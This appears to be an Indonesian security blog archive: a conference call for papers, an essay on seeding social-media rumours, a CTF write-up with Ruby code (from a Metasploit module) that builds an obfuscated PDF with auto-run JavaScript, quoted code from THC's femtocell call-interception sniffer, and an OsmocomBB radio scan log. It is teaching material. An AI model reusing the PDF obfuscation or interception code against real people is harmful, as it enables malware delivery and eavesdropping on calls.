IDSECCONF2012: Call For Paper

Posted: 26th March 2012 by mrs in Blog

Source: http://2012.idsecconf.org/p/call-for-paper.html

Call For Paper
idsecconf 2012 Makassar — Call of paper

Kami dari komite idsecconf 2012 Makassar memberi kesempatan pada rekan-rekan
penggiat keamanan komputer di seluruh Indonesia untuk berpartisipasi
lewat penyerahan paper. Topik utama yang kami cari adalah yang berkaitan
dengan:

“Teknik Keamanan dan penerapannya pada Teknologi Mobile”

Secara explisit, ini mencakup (namun tidak terbatas) Teknik Hacking (attack, defence) pada:
- Perangkat Mobile (smartphones, GPS device, dll)
- Infrastruktrur dan perangkat Jaringan (Wireless, 3G, 4G)
- Sistem Operasi dan Aplikasi Perangkat Mobile
- Mobile Hardware
- Mobile Programming
- Metode audit keamanan

Kami memprioritaskan slot pembicara bagi partisipan dengan tema paper
sebagaimana dimaksud diatas. Namun demikian, kami juga tetap membuka
kesempatan pada topik-topik lain semisal:
- Web hacking
- Wireless hacking
- Metode Penetration testing
- Network hacking
- Forensic dan Anti Forensic
- Kriptografi
- Fuzzing
- Exploit development
- System hardening
- Lock Picking
- Open Hardware Implementation

Jika anda memiliki judul paper diluar cakupan topik diatas, kami masih
terbuka untuk mempertimbangkannya selama masih berkaitan dengan security.

Paper disarankan dibuat dengan program Open Office Writer dengan ukuran
halaman “Letter”. Gambar bisa langsung disisipkan ke dalam dokumen atau
dibuat terpisah. Tulisan dibuat tanpa dipilah-pilah menjadi 2 kolom atau
lebih (layaknya format koran atau majalah)

Format gambar adalah PNG dengan ukuran dimensi maksimal (lebar x tinggi )
640 x 480 pixel dengan resolusi 72 pixel per inch. Jika nama file dipisahkan,
mohon nama file dirujuk dari naskah. Setiap gambar harap disertai keterangan
secukupnya. Dokumen harap dikonversi menjadi PDF dengan tingkat resolusi
paling maksimal. Ini dilakukan agar kami mudah mereview di platform apapun.

Pengiriman naskah ditujukan ke e-mail address: submit[eT]idsecconf.org paling
lambat 7 Mei 2012. Pengumuman paper yang lolos untuk presentasi
on stage akan diumumkan tanggal 21 Mei 2012.

Keputusan penerimaan atau penolakan paper adalah sepenuhnya wewenang
komite idsecconf 2012 dan tidak bisa diganggu gugat. Bagi yang papernya
diterima, akan menerima pemberitahuan tertulis lewat e-mail untuk
persiapan presentasi on-stage pada acara idsecconf 2012.

Biaya akomodasi akan ditanggung pihak idsecconf 2012 (biaya perjalanan dan
penginapan serta konsumsi).

Kami tunggu partisipasi anda semuanya!

salam,

komite idsecconf 2012

Dominos Effect for Good?

Posted: 3rd March 2012 by mrs in Blog

Blakely found solutions, linchpin theory. His approach was to find a small event that could trigger a large event.Like the assassination of Archduke Ferdinand causing World War I. He once said that you only had to knock over one domino, but if it was the right domino, the rest would fall.

Cuplikan quote diatas diambil dari serial detective castle season 4 ch. 15. Tentu saja teori diatas bukan tidak mungkin sedang atau sudah dijalankan oleh pihak intelijen negara-negara khususnya negara maju. Nah, karena teori diatas dan berdasarkan isi dalam film penggunaan linchpin theory dapat digunakan untuk suatu kejahatan (dalam film digunakan untuk menjatuhkan USA melalui ekonomi :) ), saya kepikiran bagaimana jika untuk ‘bisnis’?

Sederhananya begini, jika kita melihat trend di Indonesia selama beberapa tahun terakhir, banyak sekali hal-hal yang lahir dari komunitas internet dan bergulir menjadi semakin besar hingga akhirnya masuk ke media besar (mainstream?) dan bergulir lebih cepat mencapai masyarakat non-internet. Contoh?berapa banyak gosip-gosip seputar artis yang muncul di kaskus dan kemudian menyebar dengan sangat cepat ke komunitas-komunitas internet Indonesia seperti mailing list, twitter users, facebook users, forum detik, dsb?beberapa mungkin akan sangat dirugikan dengan hembusan suatu berita miring yang bisa jadi memang fakta, namun beberapa menjadi sangat populer dan justru meraup banyak keuntungan dari pemberitaan tersebut.

Saya mengambil contoh artis bukan tanpa alasan. Saya melihat dunia entertainment khususnya di Indonesia, jika seorang artis masuk media justru popularitasnya semakin bertambah, semakin sering diajakin maen sinetron. Dan ini adalah simbiosis mutualisme, karena media yang mengangkatnya seperti infotainment pun akan naik ratingnya jika bisa menyuguhkan berita gosip tentang artis tersebut. Bahkan (sepenglihatan saya) ada yang dengan sengaja membuat berita untuk mengubah kehidupannya, yang sempat terpuruk akibat perceraian dan kehilangan banyak materi, dengan muncul dan berakting dekat dengan seorang wanita yang ketika di panggung pura-pura malu-malu cium sana sini dalam beberapa bulan meraup banyak keuntungan materi bahkan mungkin lebih tajir dari sebelumnya, setelah selesai bisa mencari wanita idaman sesungguhnya. Bukan masalah benar atau salah, namun disini menunjukan letak pemanfaatan media massa yang memang secara nyata bisa untuk meraup keuntungan pribadi.

Kenapa artis dan bukan politisi?karena media-media seperti televisi, koran, majalah, dsb yang non-internet dikuasai oleh bisnis-bisnis besar dan para politisi, sehingga tidak mudah menjatuhkan ataupun menaikan seseorang menggunakan media tersebut. Menjatuhkan seorang politisi melalui satu siaran televisi akan menjangkau masyarakat di pelosok indonesia, namun televisi lain bisa dibuat untuk menaikan popularitas politisi tersebut sehingga keadaan nya kembali normal. Tapi internet?walaupun media-media seperti forum diskusi dimiliki oleh pribadi ataupun perusahaan, tetap saja mereka butuh komunitas pengguna untuk mengisi media tersebut. Dan hebatnya lagi, bahkan media besar seperti BBC sekarang ini menjadikan social network semacam twitter sebagai referensi berita.

Nah, balik lagi ke teori seperti linchpin diatas, saya kepikiran apakah ada misalnya mahasiswa Indonesia yang melakukan riset seperti ini ya?kita tau ada beragam teori untuk ad-sense (melihat nilai dari suatu website) dimana kita bisa melihat website-website di internet yang memiliki user aktif banyak perharinya, terus ada media seperti social network yang bisa dibagi menjadi hal-hal lebih detail seperti hash tag dalam twitter, dan berbagai teori lainnya. Yang jika di analisis, mungkin akan bisa di dapatkan suatu algoritma ataupun dibuat suatu aplikasi yang bisa digunakan untuk memetakan titik-titik media untuk kemudian menentukan bagaimana caranya memunculkan suatu opini yang jika dibiarkan akan membuat opini tersebut bergulir begitu saja di kalangan pengguna media seperti forum diskusi, dan setiap individu dalam forum diskusi tersebut akan menyebarkan berita tersebut ke facebook / twitter masing-masing, bahkan ada yang membuat karikatur ataupun beragam pembenaran lain sehingga isu semakin cepat tersebar. Dan jika sudah tersebar, maka yang awalnya isu akan menjadi fakta.

Tentu saja bisa untuk bisnis. Jika ada seseorang yang ingin populer dan memiliki kekayaan baik dari dia pribadi ataupun dari pihak keluarga, bisa menghubungi perusahaan yang memiliki aplikasi tersebut untuk kemudian menggulirkan bola salju awal, ataupun menemukan titik domino awal seperti dalam teori linchpin, yang jika di gulirkan atau di jatuhkan akan membuat bola saljut semakin besar ataupun membuat domino-domino lain berjatuhan hingga mencapai tujuan yang di inginkan. Keuntungan yang sama bisa diraih oleh perusahaan yang ingin menaikan nama perusahaan. Dan bisnis tidak lengkap tanpa ‘evil mind’, selain bisa untuk menaikan seseorang penggunaan social media dapat pula digunakan untuk menjatuhkan terutama dengan memanfaatkan faktor simpati yang begitu kental dengan budaya bangsa Indonesia. Contoh mudah adalah simpati rame-rame pada kasus seorang ibu yang diserang oleh rumah sakit international, ataupun seorang TKI yang pada akhirnya tidak jadi dihukum mati.

Bisa jadi saat ini sudah ada perusahaan serupa untuk lingkungan seperti artis, tapi pertanyaan nya, apakah digunakan suatu aplikasi khusus yang serba otomatis untuk proses analisis serta menggunakan teori science untuk mencapai tujuan yang di-inginkan, atau hanya sekedar menyewa seorang wartawan ataupun penulis untuk memasukan berita-berita hangat melalui forum seperti kaskus secara MANUAL?

Adakah start-up yang sedang / sudah memikirkan ide ini? :)

A little bit story of CTF

Posted: 19th July 2011 by mrs in Blog

Idsecconf2011 baru saja berakhir. Kudos untuk para panitia, speaker, dan khususnya para anggota komite yang sudah meluangkan waktunya untuk acara tersebut. Saya sendiri tidak dapat menghadiri, namun dari beberapa dokumentasi tampaknya acara tersebut berjalan dengan baik dan antusiasme komunitas security khususnya dari kota palembang disebutkan cukup besar.

Pada kesempatan kali ini saya ingin membahas mengenai salah satu challenge yang diberikan pada CTF online untuk idsecconf2011. Challenge untuk idsecconf dibuat oleh beberapa anggota komite sehingga terdapat beragam jenis challenge (setiap orang memiliki hobby pada bidang yang beda-beda), dan tidak dilakukan share solution dengan tujuan agar jika salah satu dari anggota komite di-compromise (we’re living in hacking world, remember?) maka tidak semua challenge dari idsecconf akan jatuh begitu saja. Challenge dari saya sebelumnya (bl00dyh0l1d4y) berada pada ranah reverse engineering, untuk tahun ini juga masih sama namun lebih di fokuskan pada topic yang sedang hangat atau menjadi trend dalam dunia security, yaitu PDF analysis.

Untuk sebagian orang di bidang security tentunya sudah menyadari bahwa PDF menjadi topik favorit beberapa tahun tearkhir, hal ini disebabkan karena hampir setiap komputer memiliki program pembaca PDF seperti adobe acrobat reader. Dan dalam beberapa tahun terakhir, riset terhadap eksploitasi ataupun penyebaran malware melalui file-file PDF berkembang dengan pesat. Untuk itulah saya ingin mengenalkan kepada komunitas IT security Indonesia (khususnya non-profesional) mengenai reverse engineering pada format PDF. Hal ini sangat bermanfaat baik untuk proses analisis suatu malware ataupun PDF exploit. Komite idsecconf juga mengutamakan hal lain untuk CTF selain hal-hal berbau teknikal, diantara beberapa poin yang sempat kami diskusikan secara internal adalah “FUN”. Kami menyadari bahwa komunitas non-profesional umumnya pendatang baru ataupun generasi muda yang sedang dalam proses pembelajaran, untuk itu harus dipertimbangkan juga mengenai tingkat kesulitan dari challenge yang diberikan. Untuk reverse engineering ini saya mengkategorikan level “basic”, dimana untuk penyelesaian-nya diperkirakan dapat dilakukan dengan googling + membaca beberapa referensi publik + menggunakan tools public.

Berikut ini adalah code yang digunakan untuk meng-generate file ber-ekstensi .exe yang akan dikirimkan kepada peserta CTF untuk dipecahkan dan dicari flag-nya,

#!/usr/bin/env ruby

require 'zlib'

#########################################
# Basic Reverse Engineering for CTF     #
# idsecconf2011 palembang - online ctf  #
#                                       #
# ruby pdf.rb <nickname>                #
#                                       #
#                           - Cyberheb  #
#########################################

# borrowed from metasploit, pdf fileformat exploit
class Pdf
    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end

    def ioDef(id)
        "%d 0 obj" % id
    end

    def ioRef(id)
        "%d 0 R" % id
    end

    # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)
        result = ""
        str.scan(/./u) do |c|
            if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end

    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end

    def make_pdf(js)

        xref = []
        eol = "x0dx0a"
        endobj = "endobj" << eol

        # Randomize PDF version?
        pdf = "%PDF-1.5" << eol
        pdf << "%" << RandomNonASCIIString(4) << eol
        xref << pdf.length
        pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
        xref << pdf.length
        pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
        xref << pdf.length
        pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
        xref << pdf.length
        pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
        xref << pdf.length
        pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
        pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << endobj
        xrefPosition = pdf.length
        pdf << "xref" << eol
        pdf << "0 %d" % (xref.length + 1) << eol
        pdf << "0000000000 65535 f" << eol
        xref.each do |index|
            pdf << "%010d 00000 n" % index << eol
        end
        pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
        pdf << "startxref" << eol
        pdf << xrefPosition.to_s() << eol
        pdf << "%%EOF" << eol

    end

end

class Flag
    def generate(nick)
      fuzz = [('a'..'z'), ('A'..'Z'), ('0'..'9')].map{|i| i.to_a}.flatten
      str = (0..50).map{ fuzz[rand(fuzz.length)]}.join
     
      nick + "-" + str
    end
end

# Generate random flag based on username
rand_flag = Flag.new
ctf_flag = rand_flag.generate(ARGV[0])

ctf = Pdf.new
js = %Q|
  var submit_this_flag = #{ctf_flag}
  |

pdf = ctf.make_pdf(js)

# Create filename using .exe extension, it will camouflage .pdf and force them to learn basic reverse engineering by
# looking at binary header information
file = File.new("findthesecretflaginsidemebabe.exe", "w")
file.write(pdf)
file.close

Code diatas diambil dari salah satu pdf exploit pada metasploit framework. Hasilnya adalah suatu file pdf menyimpan suatu flag. Bagi yang sudah terbiasa dengan analisis PDF tentu tahu apa yang harus dilakukan. Namun untuk pemula dapat membaca Free Malicious PDF Analysis oleh Didier Stevens.

File yang dikirimkan kepada peserta akan ber-ekstensi .exe, ini adalah basic dari RE dimana kita harus memastikan jenis file tersebut untuk maju ke proses berikutnya.

$ file findthesecretflaginsidemebabe.exe
findthesecretflaginsidemebabe.exe: PDF document, version 1.5

Tools seperti “file” dapat digunakan untuk menentukan jenis file secara instant. Dengan mengetahui bahwa file tersebut adalah PDF, selanjutnya dapat menggunakan pdf-parser milik stevens (dengan harapan sudah membaca terlebih dahulu dan memahami konsep PDF :) ). Selain pdf-parser.py ada beberapa tools lain, silahkan cari sendiri.

$ python pdf-parser.py findthesecretflaginsidemebabe.exe
PDF Comment '%PDF-1.5rn'

PDF Comment '%xaaxc0x9bxf8rn'

obj 1 0
 Type: /Catalog
 Referencing: 2 0 R, 3 0 R, 5 0 R
 [(2, '<<'), (2, '/T#79#70#65'), (2, '/Ca#74a#6co#67'), (2, '/Outli#6e#65#73'), (1, ' '), (3, '2'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/P#61#67es'), (1, ' '), (3, '3'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/#4fp#65n#41ct#69#6f#6e'), (1, ' '), (3, '5'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '>>')]

 <<
   /Type /Catalog
   /Outlines 2 0 R
   /Pages 3 0 R
   /OpenAction 5 0 R
 >>


obj 2 0
 Type: /Outlines
 Referencing:
 [(2, '<<'), (2, '/#54yp#65'), (2, '/Out#6c#69#6e#65s'), (2, '/#43#6f#75nt'), (1, ' '), (3, '0'), (2, '>>')]

 <<
   /Type /Outlines
   /Count 0
 >>


obj 3 0
 Type: /Pages
 Referencing: 4 0 R
 [(2, '<<'), (2, '/Type'), (2, '/#50#61ges'), (2, '/#4b#69#64s'), (2, '['), (3, '4'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, ']'), (2, '/C#6fun#74'), (1, ' '), (3, '1'), (2, '>>')]

 <<
   /Type /Pages
   /Kids [4 0 R]
   /Count 1
 >>


obj 4 0
 Type: /Page
 Referencing: 3 0 R
 [(2, '<<'), (2, '/#54#79pe'), (2, '/P#61#67#65'), (2, '/#50a#72#65#6e#74'), (1, ' '), (3, '3'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/#4d#65#64#69#61#42o#78'), (2, '['), (3, '0'), (1, ' '), (3, '0'), (1, ' '), (3, '612'), (1, ' '), (3, '792'), (2, ']'), (2, '>>')]

 <<
   /Type /Page
   /Parent 3 0 R
   /MediaBox [0 0 612 792]
 >>


obj 5 0
 Type: /Action
 Referencing: 6 0 R
 [(2, '<<'), (2, '/#54ype'), (2, '/A#63#74i#6f#6e'), (2, '/S'), (2, '/#4aava#53cr#69#70t'), (2, '/J#53'), (1, ' '), (3, '6'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '>>')]

 <<
   /Type /Action
   /S /JavaScript
   /JS 6 0 R
 >>


obj 6 0
 Type:
 Referencing:
 Contains stream
 [(2, '<<'), (2, '/#4c#65#6eg#74#68'), (1, ' '), (3, '172'), (2, '/Fi#6c#74e#72'), (2, '['), (2, '/#46#6ca#74#65D#65#63#6f#64#65'), (2, '/#41S#43#49IH#65xDe#63#6f#64#65'), (2, ']'), (2, '>>'), (1, 'rn')]

 <<
   /Length 172
   /Filter [
   /FlateDecode /ASCIIHexDecode]
 >>


xref [(3, 'xref'), (3, '0'), (3, '7'), (3, '0000000000'), (3, '65535'), (3, 'f'), (3, '0000000017'), (3, '00000'), (3, 'n'), (3, '0000000127'), (3, '00000'), (3, 'n'), (3, '0000000186'), (3, '00000'), (3, 'n'), (3, '0000000250'), (3, '00000'), (3, 'n'), (3, '0000000348'), (3, '00000'), (3, 'n'), (3, '0000000421'), (3, '00000'), (3, 'n')]

trailer
 <<
   /Size 7
   /Root 10R
 >>

startxref 732

PDF Comment '%%EOFrn'

Setiap object di-encode secara sederhana menggunakan hex encoding. Dan jika melihat object ke-6 (javascript),

$ python pdf-parser.py --object=6 --filter findthesecretflaginsidemebabe.exe
obj 6 0
 Type:
 Referencing:
 Contains stream
 [(2, '<<'), (2, '/#4c#65#6eg#74#68'), (1, ' '), (3, '172'), (2, '/Fi#6c#74e#72'), (2, '['), (2, '/#46#6ca#74#65D#65#63#6f#64#65'), (2, '/#41S#43#49IH#65xDe#63#6f#64#65'), (2, ']'), (2, '>>'), (1, 'rn')]

 <<
   /Length 172
   /Filter [
   /FlateDecode /ASCIIHexDecode]
 >>

 'n  var submit_this_flag = Cyberheb-ndI1MYAQ5jNvRfsiVwSrndugZPPkUf3TnvQTdevZaNRcGWLFHhRn  '

Ada stream yang di compress dan stream object tersebut dapat di-decode dengan menggunakan FlateDecode dari zlib (salah satu standar compression untuk stream object pada adobe acrobat). Dengan pdf-parser yang telah memiliki built-in feature untuk FlateDecode, maka stream object tersebut dapat dibaca.

$ python pdf-parser.py --object=6 --filter findthesecretflaginsidemebabe.exe
obj 6 0
 Type:
 Referencing:
 Contains stream
 [(2, '<<'), (2, '/#4c#65#6eg#74#68'), (1, ' '), (3, '172'), (2, '/Fi#6c#74e#72'), (2, '['), (2, '/#46#6ca#74#65D#65#63#6f#64#65'), (2, '/#41S#43#49IH#65xDe#63#6f#64#65'), (2, ']'), (2, '>>'), (1, 'rn')]

 <<
   /Length 172
   /Filter [
   /FlateDecode /ASCIIHexDecode]
 >>

 'n  var submit_this_flag = Cyberheb-ndI1MYAQ5jNvRfsiVwSrndugZPPkUf3TnvQTdevZaNRcGWLFHhRn  '

Tentu saja PDF exploit ataupun malware memiliki konstruksi PDF yang lebih kompleks, namun ini adalah basic-nya. Dan diharapkan dengan basic ini akan lebih banyak lagi komunitas IT security Indonesia yang mengenal PDF dan memahami proses analisisnya.

Vodafone Femtocell Product was Hacked

Posted: 14th July 2011 by mrs in Blog
Tags: , ,

Baru-baru ini THC merilis hasil hacking mereka terhadap femtocell milik vodafone UK. Link beritanya bisa dilihat dari sini dan informasi teknikal bisa dibaca dari sini. Saya sempat posting info tersebut pada salah satu milis security di indonesia, dan ada rekan yang bertanya tentang aksi hacking tersebut. Untuk beberapa orang awam khususnya awam dunia telekomunikasi mungkin agak bingung dan kurang jelas dengan hacking yang dimaksud. Saya akan coba bahas sedikit disini.

Femtocell merupakan teknologi telekomunikasi dimana pengguna network suatu operator dapat menggunakan fasilitas seperti telepon dan sms didaerah yang tidak ada sinyal dari operator tersebut namun ada koneksi internet. Pengguna network operator tersebut menggunakan simcard milik operator, dan ‘nyantol’ ke Femtocell yang seakan-akan berfungsi sebagai BTS dari operator tersebut. Untuk case yang kita bahas saat ini adalah network milik operator Vodafone UK. Femtocell akan menjadi media untuk melakukan otentikasi simcard subscriber (dari handphone pelanggan yang nyantol ke Femtocell) dengan core network Vodafone UK.

Jika ada media yang menyatakan bahwa THC melakukan hacking terhadap teknologi UMTS maka tidak sepenuhnya benar, karena yang dihack adalah produk Femtocell. Ini ibaratnya bukan berarti menyadap komunikasi secara radio dari teknologi UMTS, namun bisa di ibaratkan penetrasi kedalam mesin RNC suatu operator (untuk teknologi UMTS/3G digunakan istilah NodeB untuk BTS, dan RNC untuk BSC). Dalam dunia telekomunikasi, ciphering dilakukan dalam ruang lingkup BSS (untuk melindungi komunikasi radio antara handphone dengan radio network operator). Ketika data lewat dari RNC / BSC maka tidak terdapat lagi ciphering pada paket data menuju core network.

Produk Femtocell milik Vodafone UK ini di-reverse engineer oleh THC, seperti layaknya melakukan jailbreak pada iPhone. Dan tentu saja yang tersisa untuk melakukan traffic intercept adalah subverting fungsi Femtocell untuk bukan saja forwarding paket data komunikasi antara handphone subscriber, namun juga mengambil data tersebut untuk kemudian disimpan. Dalam dunia IT security, aktivitas seperti ini banyak dilakukan untuk fraud komunikasi kartu kredit dan sangat umum.

The Linux Kernel netlink interface is a great way of intercepting the network traffic that goes through ipsec. This interface allows a userland process to instruct the kernel to first pass the network traffic to the userland process. It is then up to the userland process to modify, discard or reinject the packet back into the kernel network stack.

The source code above demonstrate how the netlink interface can be used to intercept any traffic and record the RTP voice stream to a file in AMR12.2 format.

THC memanfaatkan netlink interface dari kernel linux untuk intercept network traffic yang menggunakan ipsec, dan kemudian me-record paket stream RTP dan menyimpan nya kedalam format AMR12.2. Untuk proses ini THC mengimplementasikan program sniffer yang disebut umts_sniffer.

Jika kita lihat source code dari umts_sniffer tersebut makan akan terlihat jelas proses intercept nya,

void sniff(void)
...
    for(;;) {
        ret = recvfrom(netlink_socket, buf1, sizeof buf1, 0, (struct sockaddr *)&addr, &fromlen);
        if (ret nlmsg_pid, hdr_in->nlmsg_seq, hdr_in->nlmsg_flags, hdr_in->nlmsg_len);
        if (hdr_in->nlmsg_type == NLMSG_ERROR)
        {
            struct nlmsgerr *pkt_err = NLMSG_DATA((struct nlmsghdr *)buf1);
            if (pkt_err->error != 0)
            {
                ERREXIT("error %d: %sn", pkt_err->error, strerror(0 - pkt_err->error));

            }
        }
        DEBUGF("ret %d, id %lu, payload %d, '%s', '%s'n", ret, pkt_data->packet_id, pkt_data->data_len, pkt_data->indev_name, pkt_data->outdev_name);
        DEBUGF("%sn", bin2hexstr(pkt_data->payload, pkt_data->data_len));

        handle_data(pkt_data->payload, pkt_data->data_len);

Dilakukan proses extraksi untuk mendapatkan data yang ingin di intercept (mis: data voice), yang selanjutnya akan dihandle oleh fungsi handle_data()

Pada fungsi sniffer() tersebut juga data yang di intercept setelah di ambil akan terus di forward ke core network operator agar call subscriber dapat terus berlangsung,

        /*for the example just forward all packets*/
        nl_header = (struct nlmsghdr *)buf2;
        nl_header->nlmsg_type=IPQM_VERDICT;
        nl_header->nlmsg_len=NLMSG_LENGTH(sizeof(struct ipq_verdict_msg));
        nl_header->nlmsg_flags=(NLM_F_REQUEST);/*this is a request, dont ask for an answer*/
        nl_header->nlmsg_pid=getpid();
        nl_header->nlmsg_seq=seq++;/*arbitrary unique value to allow response correlation*/
        ver_data=(struct ipq_verdict_msg *)NLMSG_DATA(nl_header);
        ver_data->value= NF_ACCEPT;
        ver_data->id=pkt_data->packet_id;
        ver_data->data_len = pkt_data->data_len;
        /* BO here */
        memcpy(ver_data->payload, pkt_data->payload, ver_data->data_len);
        if(sendto(netlink_socket,(void *)nl_header,nl_header->nlmsg_len,0,(struct sockaddr *)&addr, sizeof (struct sockaddr_nl)) < 0)
        {
            perror("unable to send mode message");
            exit(0);
        }

Kita akan lihat fungsi handle_data(),

static void
handle_data(uint8_t *data, int len)
{
    uint16_t ip_options;
    uint16_t ip_len;
    struct ip *ip = (struct ip *)data;
    int ret;

    ret = vrfy_ip(ip, len, &ip_options);
    if (ret != 0)
        return;

    ip_len = 20 + ip_options;

    /* UDP */
    if (ip->ip_p == 0x11)
    {
        if (len - ip_len == 8 + 47)
        {
            handle_rtp(ip, data + ip_len + 8, len - ip_len - 8);
        }
    }

    /* Determine what type of message it is:
     * - RANAP
     * - RTP
     */

}

Apabila data tersebut berupa data signaling (RANAP) maka tidak akan di proses, namun jika data voice (RTP) akan dilanjutkan untuk diproses oleh fungsi handle_rtp(). Selanjutnya tentu saja seperti yang sudah di deskripsikan, paket RTP akan di simpan dalam format AMR12.2.

Hasilnya dapat di buka dan didengarkan menggunakan aplikasi yang sesuai.

Selain dapat digunakan untuk intercept traffic call, Femtocell juga dapat digunakan untuk fraud yaitu menggunakan informasi simcard subscriber lain untuk outgoing call ataupun kirim sms. Termasuk jenis permainan lain pun dapat dilakukan.

Semoga bermanfaat terutama untuk rekan-rekan yang buta telekomunikasi. Tulisan diataspun berdasarkan pemahaman saya dari membaca wiki THC dan background telekomunikasi serta security selama ini, belum langsung melihat atau mencoba karena tidak memiliki perangkat Femtocell yang dimaksud. Sekiranya ada kekeliruan tolong di informasikan agar tulisan diatas dapat dimodifikasi menjadi lebih baik.

Cheers.

Cell Log Application

Posted: 29th June 2011 by mrs in Blog
Tags:

Nothing fancy. Pada dasarnya aplikasi ini merupakan aplikasi layer2 dan layer3 yang memerintahkan firmware untuk melakukan scanning radio network serta melakukan sinkronisasi pada salah satu cell. Jika berhasil maka dapat dikatakan pada tahap ini firmware handphone yang menggunakan osmocombb sudah dapat berinteraksi dengan BTS dan menggunakan resource radio yang disediakan oleh BTS.

Osmocon tetap digunakan untuk meng-upload layer1 firmware kedalam handphone C115, namun untuk layer23-nya menggunakan aplikasi cell_log.

mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain/src/host/layer23/src/misc
$ sudo ./cell_log
Password:
Copyright (C) 2010 Andreas Eversberg

License GPLv2+: GNU GPL version 2 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Failed to connect to '/tmp/osmocom_sap'.
Failed during sap_open(), no SIM reader
 cell_log.c:803 Scanner initialized
Mobile initialized, please start phone now!

Berikut ini dump output dari console osmocon yang menunjukan proses detail dari scanning radio network hingga proses sinkronisasi dengan salah satu cell.

Starting FCCH RecognitionL1CTL_RESET_REQ: FULL!L1CTL_RESET_REQ: FULL!L1CTL_PM_REQ start=0 end=124
PM MEAS: ARFCN=0, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=0, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=1, 56   dBm at baseband, -81  dBm at RF
PM MEAS: ARFCN=2, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=3, 49   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=4, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=5, 49   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=6, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=7, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=8, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=9, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=10, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=11, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=12, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=13, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=14, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=15, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=16, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=17, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=18, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=19, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=20, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=21, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=22, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=23, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=24, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=25, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=26, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=27, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=28, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=29, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=30, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=31, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=32, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=33, 40   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=34, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=35, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=36, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=37, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=38, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=39, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=40, 40   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=41, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=42, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=43, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=44, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=45, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=46, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=47, 41   dBm at baseband, -96  dBm at RF
